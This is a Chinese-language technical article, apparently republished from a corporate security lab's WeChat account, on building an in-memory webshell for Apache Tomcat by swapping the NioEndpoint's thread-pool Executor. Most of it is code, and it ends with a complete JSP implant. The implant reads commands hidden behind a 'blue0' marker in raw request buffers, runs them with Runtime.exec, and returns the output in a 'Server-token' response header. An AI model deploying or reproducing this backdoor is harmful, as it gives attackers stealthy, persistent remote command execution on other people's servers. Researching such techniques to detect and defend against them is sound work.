0x01 Connector
a. 网络通讯:Endpoint
b. 应用层协议解析和封装:Processor
c. Request和Response对象转换和传递:Adaptor
0x02 Executor内存马实现原理
//AbstractProtocol,实现ProtoclHandler接口
public void setExecutor(Executor executor) {
endpoint.setExecutor(executor);
}
//AbstractEndpoint
public void setExecutor(Executor executor) {
this.executor = executor;
this.internalExecutor = (executor == null);
}
public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); //获取线程组
for (Thread thread : threads) { //遍历线程组
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { //Tomcat包含一个Acceptor线程、一个Poller线程、多个(默认10个)exec线程,该if语句通过线程名筛选出Acceptor线程
Object target = this.getField(thread, "target"); //Acceptor实现了Runnable接口,Acceptor线程的target中存储Acceptor对象
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0"); //Tomcat8及一下,Acceptor是Endpoint的内部类,内部类对象可以通过this$0获取上层类对象,即此处尝试通过Acceptor获取Endpoint
} catch (Exception e) {
}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint"); //Tomcat9开始,Acceptor通过endpoint成员存储Endpoint对象的引用
} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}
}
return new Object();
}
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); //从Acceptor线程中获取NioEndpint对象
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor"); //反射获取executor字段,即ThreadPoolExecutor对象
threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler()); //利用ThreadPoolExecutor对象的参数,实例化自定义Executor
nioEndpoint.setExecutor(exe); //调用setExecutor完成Executor替换
//RequestFacade
protected Request request = null;
//Request
protected final Connector connector;
public Object getStandardService(HttpServletRequest req) {
return getField(getField(getField(getField(req,"request"), "connector"),"protocolHandler"),"endpoint");
}
//org.apache.tomcat.util.threads.ThreadPoolExecutor#execute(java.lang.Runnable)
public void execute(Runnable command) {
execute(command,0,TimeUnit.MILLISECONDS);
}
//threadexcutor#execute
@Override
public void execute(Runnable command) {
String cmd = getRequest(); //从请求数据中获取需要执行的命令
if (cmd.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec(cmd); //执行系统命令
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = "";
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
if (s != "") {
byte[] res = s.getBytes(StandardCharsets.UTF_8);
getResponse(res); //响应命令执行的结果
}
} catch (IOException e) {
e.printStackTrace();
}
}
this.execute(command, 0L, TimeUnit.MILLISECONDS); //ThreadPoolExecutor的原有逻辑
}
}
public String getRequest() {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) { //遍历线程组
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) { //筛选Acceptor线程
Object target = getField(thread, "target"); //获取target,即Acceptor对象
if (target instanceof Runnable) {
try {
Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack"); //Acceptor.this$0 => Endpoint; Endpoint.nioChannels.stack => 缓存的所有NioChannel对象,在一次请求后NioChannel对象会放入nioChannels中,当有新请求达到时,先尝试从nioChannels中获取一个NioChannel来封装SocketChannel和Buffer,当nioChannels不存在可用的NioChannel时,再创建新的NioChannel,这样可以有效减少对象创建和GC带来的开销。
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer"); //获取NioChannel.appReadBufHandler.byteBuffer,对应的是一个HeapByteBuffer对象
String a = new String(heapByteBuffer.array(), "UTF-8"); //Buffer中存储的数据转换为字符串
if (a.indexOf("blue0") > -1) { //更具特征截取需要执行的系统命令
System.out.println(a.indexOf("blue0"));
System.out.println(a.indexOf("r", a.indexOf("blue0")) - 1);
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("r", a.indexOf("blue0")) - 1);
b = decode(DEFAULT_SECRET_KEY, b); //传入的数据是一个加密数据,这一步会进行解密
return b; //返回明文系统命令
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
return new String();
}
Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack");
//变为
Object[] objects = (Object[]) getField(getField(getField(target, "endpoint"), "nioChannels"), "stack");
protected boolean setSocketOptions(SocketChannel socket) {
NioSocketWrapper socketWrapper = null;
try {
// Allocate channel and wrapper
NioChannel channel = null;
if (nioChannels != null) { //检查nioChannels
channel = nioChannels.pop();
}
if (channel == null) { //如果没有可用的NioChannel,则创建新的NioChannel对象
SocketBufferHandler bufhandler = new SocketBufferHandler(
socketProperties.getAppReadBufSize(),
socketProperties.getAppWriteBufSize(),
socketProperties.getDirectBuffer());
if (isSSLEnabled()) {
channel = new SecureNioChannel(bufhandler, this);
} else {
channel = new NioChannel(bufhandler);
}
}
NioSocketWrapper newWrapper = new NioSocketWrapper(channel, this); //NioChannel封装为NioSocketWrapper
channel.reset(socket, newWrapper);
connections.put(socket, newWrapper);
socketWrapper = newWrapper;
//threadexcutor#execute
@Override
public void execute(Runnable command) {
String cmd = getRequest(); //从请求数据中获取需要执行的命令
......//执行系统命令
......//响应命令执行的结果
this.execute(command, 0L, TimeUnit.MILLISECONDS); //ThreadPoolExecutor的原有逻辑
}
}
@Override
public void execute(Runnable command) {
this.execute(command, 0L, TimeUnit.MILLISECONDS); //ThreadPoolExecutor的原有逻辑
String cmd = getRequest(); //从请求数据中获取需要执行的命令
......//执行系统命令
......//响应命令执行的结果
}
}
public String getRequest(Runnable command) {
try {
ByteBuffer byteBuffer = ByteBuffer.allocate(16384); //16384为16m,来自于Http11InputBuffer#init中初始化byteBuffer使用的大小
byteBuffer.mark(); //新Buffer的mark=-1,直接使用会报错。调用byteBuffer.mark()设置mark=position=0
SocketWrapperBase socketWrapperBase = (SocketWrapperBase) getField(command,"socketWrapper"); //SocketProcessor.socketWrapper
socketWrapperBase.read(false,byteBuffer);
public int read(boolean block, ByteBuffer to) throws IOException {
int nRead = populateReadBuffer(to); //从SocketBufferHandler.readBuffer中读取数据
if (nRead > 0) { //如果有数据复制,则返回复制数据的长度
return nRead;
}
......//从NioChannel读取数据
}
protected int populateReadBuffer(ByteBuffer to) {
// Is there enough data in the read buffer to satisfy this request?
// Copy what data there is in the read buffer to the byte array
socketBufferHandler.configureReadBufferForRead();
int nRead = transfer(socketBufferHandler.getReadBuffer(), to); //将SocketBufferHandler.readBuffer中的数据复制给to
if (log.isDebugEnabled()) {
log.debug("Socket: [" + this + "], Read from buffer: [" + nRead + "]");
}
return nRead;
}
public String getRequest(Runnable command) {
try {
ByteBuffer byteBuffer = ByteBuffer.allocate(16384); //16384为16m,来自于Http11InputBuffer#init中初始化byteBuffer使用的大小
byteBuffer.mark(); //新Buffer的mark=-1,直接使用会报错。调用byteBuffer.mark()设置mark=position=0
SocketWrapperBase socketWrapperBase = (SocketWrapperBase) getField(command,"socketWrapper"); //SocketProcessor.socketWrapper
socketWrapperBase.read(false,byteBuffer);
ByteBuffer readBuffer = (ByteBuffer) getField(getField(socketWrapperBase,"socketBufferHandler"),"readBuffer"); //获取SocketBufferHandler.readBuffer
//设置Buffer的三个数据:mark=0、position=0、limit=数据长度
readBuffer.limit(byteBuffer.position());
readBuffer.mark();
byteBuffer.limit(byteBuffer.position()).reset();
readBuffer.put(byteBuffer);
readBuffer.reset();
@Override
public void execute(Runnable command) {
String cmd = getRequest(); //获取请求数据
if (cmd.length() > 1) {
......//res = 命令执行结果
getResponse(res); //回显执行结果
}
public void getResponse(byte[] res) {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target"); //从Acceptor线程中获取Acceptor对象
if (target instanceof Runnable) {
try {
ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors"); //Acceptor.this$0 => Endpoint; Endpoint.handler => ConnectionHandler; ConnectionHandler.global => RequestGroupInfo; RequestGroupInfo.processors => List<RequestInfo>
for (Object tmp_object : objects) { //遍历List<RequestInfo>
RequestInfo request = (RequestInfo) tmp_object;
Response response = (Response) getField(getField(request, "req"), "response"); //RequestInfo.req => coyoteRequest; coyoteRequest.response => coyoteResponse
response.addHeader("Server-token", encode(DEFAULT_SECRET_KEY,new String(res, "UTF-8"))); //向coyoteResponse中添加header
}
} catch (Exception var11) {
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
}
0x03 优化后的内存马
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="java.util.concurrent.RejectedExecutionHandler" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.tomcat.util.net.NioChannel" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException e) {
}
clazz = clazz.getSuperclass();
}
return null;
}
public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception e) {
}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
return jioEndPoint;
} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}
}
return new Object();
}
class threadexcutor extends ThreadPoolExecutor {
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}
public String getRequest(Runnable command) {
try {
ByteBuffer byteBuffer = ByteBuffer.allocate(16384);
byteBuffer.mark();
SocketWrapperBase socketWrapperBase = (SocketWrapperBase) getField(command,"socketWrapper");
socketWrapperBase.read(false,byteBuffer);
ByteBuffer readBuffer = (ByteBuffer) getField(getField(socketWrapperBase,"socketBufferHandler"),"readBuffer");
readBuffer.limit(byteBuffer.position());
readBuffer.mark();
byteBuffer.limit(byteBuffer.position()).reset();
NioChannel socket = (NioChannel) getField(socketWrapperBase,"socket");
readBuffer.put(byteBuffer);
readBuffer.reset();
String a = new String(readBuffer.array(), "UTF-8");
if (a.indexOf("blue0") > -1) {
System.out.println(a.indexOf("blue0"));
System.out.println(a.indexOf("r", a.indexOf("blue0")) );
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("r", a.indexOf("blue0")) );
if (b.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec(b);
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = "";
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
if (s != "") {
byte[] res = s.getBytes(StandardCharsets.UTF_8);
getResponse(res);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
} catch (Exception ignored) {
ignored.printStackTrace();
}
return new String();
}
public void getResponse(byte[] res) {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "endpoint"), "handler"), "global"), "processors");
for (Object tmp_object : objects) {
RequestInfo request = (RequestInfo) tmp_object;
Response response = (Response) getField(getField(request, "req"), "response");
response.addHeader("Server-token", new String(res, "UTF-8"));
}
} catch (Exception var11) {
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
}
public void execute(Runnable command) {
String cmd = getRequest(command);
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
%>
<%
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
%>
银河实验室
往期回顾
技术
技术
技术
技术
点赞、分享,感谢你的阅读▼
原文始发于微信公众号(平安集团安全应急响应中心):Executor内存马实现的优化